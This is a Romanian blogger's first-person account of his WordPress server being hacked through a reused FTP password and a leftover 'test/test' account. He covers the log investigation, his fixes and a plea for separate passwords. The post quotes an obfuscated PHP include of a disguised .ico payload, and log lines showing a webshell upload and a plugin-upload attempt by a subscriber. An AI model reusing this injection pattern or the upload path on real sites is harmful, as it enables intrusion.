Salut!

Repet ce am scris in titlu:

  • Schimbati-va parolele periodic!
  • Nu folositi aceeasi parola pe mai multe site-uri!
  • Aveti parole diferite dupa gradul de risc!

Am fost hack-uit. In sfarsit as zice!

Zic “in sfarsit” pentru ca acum 10-15 ani cand m-am decis sa folosesc aceeasi parola peste tot, mi-am zis ca “ce poate merge rau?“. Au trecut ani, nimic rau nu s-a intamplat, am zis ca e totul ok.

Doar ca azi mi-am dat seama ca am o linie dubioasa in fiecare index.php de pe server.

  • `@include “\x2fhome\x2fadmi \x6e/web\x2fmflo \x72in.c\x6fm /pu\x62lic_\x68tml /\x74est_\x6aasny\x5fsso /\x6aasny\x5fsso /\x2edfbf\x34896.\x69co”;`
  • Care s-ar transforma intr-un `@include “/home/admin /web/blog.mflorin.com /public_html/test_jasny_sso /jasny_sso /.dfbf4896.ico”;`

Deschid acel fisier .ico (care de fapt avea un cod php in el, dar “criptat” destul de mult), imi dau seama ca ceva naspa s-a intamplat.

Dau vina pe wordpress sau vreo tema ori plugin cu probleme.

Investighez putin si-mi dau seama de prin loguri ca cineva a reusit sa se logheze prin FTP si a uploadat un fisier undeva

  • Din `cat /var/log/vsftpd.log | grep “] OK”` a rezultat o linie “interesanta”: `[admin] OK UPLOAD: Client “5.8.48.72”, “/web/blog.mflorin.com/public_html/logon/lfwxkjn.php”, 67628 bytes, 123.91Kbyte/sec`

Ma uit la fisier, era un fel de webconsole. Zic ca e ok, a fost cumva “direct / de mana” hack-ul, nu gen vreun virus sau ceva (care, in mintea mea, poate face mai mult rau).

Iau IP-ul, il bag in fail2ban si merg mai departe. Zic hai sa ma uit si la logurile de fail2ban. Vad o gramada de brute force-uri pe ssh. Ma uit si la logurile de mysql, la fel. Zic ca nu mai are rost sa bag in lista de ip-uri banate ca sunt prea multe.

Intre timp imi dau seama ca merge greu serverul (lag?). Un htop imi spune ca apache-ul ia 99% din cpu. Wtf?

Ma uit cu un tail -f in logurile de la apache, vad tone de mesaje de genul `42.51.194.16 – – [24/May/2018:21:41:32 +0300] “POST /xmlrpc.php HTTP/1.0” 200 451 “-” “Apache-HttpClient/4.5.2 (Java/1.8.0_151)”` Brute force in wordpress, dar de pe alt ip. Unul era de prin PL, altul de prin China. Ma gandesc ca nu au treaba unul cu altul.

Doar de pe acel IP se facea trafic, il bag in fail2ban, scade load-ul de la 99% la sub 1%. Nice one. Noroc ca se dadea doar de pe 1 IP.

Opresc serviciul de vsftpd, ca oricum nu-l foloseam, fac regula in firewall sa ma pot conecta doar de pe IP-ul meu la ssh, blochez si accesul spre porturile de FTP, mai fac ceva tweak pe ici pe colo.

Intru in WP, si vad pe pagina de Users Online (care iti arata IP-urile userilor, pe ce pagina sunt, si eventual cu ce user sunt logati, daca sunt) ca erau 2 useri logati, eu si inca unul, test.

Ce puii mei? Nu exista nici un test pe blog.

Ma uit in Users, vad ca e un user test creat in 2009 pe adresa de email test@darky14.com. (note: darky14.com era fostul domeniu, care a fost migrat pe acesta).

Incerc sa ma loghez cu username test si password test si wtf?? MERGE!! Soooo stupid! :|

Ma rog, userul avea drepturi doar de Subscriber (deci nu putea face mare chestie (so I thought!))

Ii iau IP-ul. e de China. Intru pe darky14.com, vad ca e ceva in chineza pe el. E o legatura.

Ii dau un `tail /var/log/apache2/domains/blog.mflorin.com.log -n 1000 | grep 163.172.127.238` si uite chestie:

  • 163.172.127.238 – – [24/May/2018:23:14:56 +0300] “GET /wp-login.php HTTP/1.0″ 200 5876 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36”
  • 163.172.127.238 – – [24/May/2018:23:14:57 +0300] “POST /wp-login.php HTTP/1.0″ 302 1452 “http://blog.mflorin.com/wp-login.php” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36”
  • 163.172.127.238 – – [24/May/2018:23:14:58 +0300] “POST /wp-admin/update.php?action=upload-plugin HTTP/1.0″ 500 3190 “http://blog.mflorin.com/wp-admin/theme-install.php?tab=upload” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36”
  • 163.172.127.238 – – [24/May/2018:23:14:58 +0300] “GET /wp-content/uploads/sup_wp.php HTTP/1.0″ 404 82075 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36”
    163.172.127.238 – – [24/May/2018:23:14:58 +0300] “GET /wp-content/uploads/2016/12/sup_wp.php HTTP/1.0″ 404 82211 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36”

Pe scurt, chiar daca nu ai drept de admin, daca esti logat in magnificul wordpress si faci niste POST-uri magice pe wp-admin/update.php, poti uploada ce fisiere vrei tu!.
Da, fie, a dat 500 pe POST si 404 pe GET-urile pe fisiere dupa aia, dar putea fi mai rau!

Fucking awesome!

Intru repede, fac update la WP, intru pe user, schimb parola, schimb email-ul, bag userul in banlist, etc.

Faza dura. WP-ul, cand schimbi parola sau email-ul din backend-ul lor, trimite mail de notificare pe adresa veche.

Ma uit in loguri si vad:

 

Wtf? Tocmai ce i-am trimis omului ce m-a hackuit un mail in care i-am spus ca i-am schimbat parola? Bravo Florin! Bravo.

 

Anyway, omul stia parola de la userul de ftp in plain text.

As spune ca partea funny e ca aceeasi parola era si la mysql si la ssh si in mai multe locuri, dar mi-e sa nu fac mai rau (daca intra chinezul si da translate aici si zice “hai sa incerc si intr-un mysql sau ssh aceeasi parola sa vad ce se intampla”.

 

Din ce vad, in ultimul timp, se incearca din ce in ce mai des brute force. Ori sunt eu luat in vizor, ori chestia asta e mai des intalnita azi decat acum cativa ani in urma.

De-aia e bine ca existe parole diferite la servicii (mysql), ssh sa fie IP based (si KEY based, nu password based), FTP daca nu e folosit, dezactivat, etc.

 

 

Sooooo,

Ca si nota de final….

 

 

 

NEVER EVER EVER EVER PUT THE SAME PASSWORD FOR MULTIPLE SERVICES IN A SERVER!!!!

 

 

Si ca sa nu credeti ca sunt atat de stupid, da, am parole diferite pe nivele de securitate, ceea ce va recomand si voua sa aveti. Poate ca e mega dificil sa aveti cate o parola diferita pentru fiecare cont, dar macar sa aveti 3-4 parole (de la usoara (usor de tastat) la foarte grea (poate ceva mai greu de tastat)) pe nivele de securitate.

Parola de la ING nu o puneti la fel ca cea de la filelist.ro.

Parola cu care va inregistrati pe un site dubios, nu o puneti ca cea de la filelist.ro. Oricine din partea cealalta poate face o baza de date cu combinatii de username + password, si maine va treziti ca nu mai aveti nici un cont (furt de identitate online).

Nah, penibil din partea mea sa spun asta, dar, aveti grija la parole!

Acum ma scuzati, am de schimbat parolele la o gramada de servere si servicii si configi, etc… Hard work :(

Have fun, si daca va duce capul la prostii, ca am pus calea pe server, username-ul, etc… DON’T!

Ah, si inca ceva. Daca renuntati la un domeniu (sau adresa de email), aveti mare mare grija sa nu uitati sa va schimbati adresa de email din cea veche in cea noua prin toate locurile unde ati fi putut s-o folositi (note: sigur veti uita intr-un loc, si se va intoarce impotriva voastra, peste vreo 10 ani asa :)) )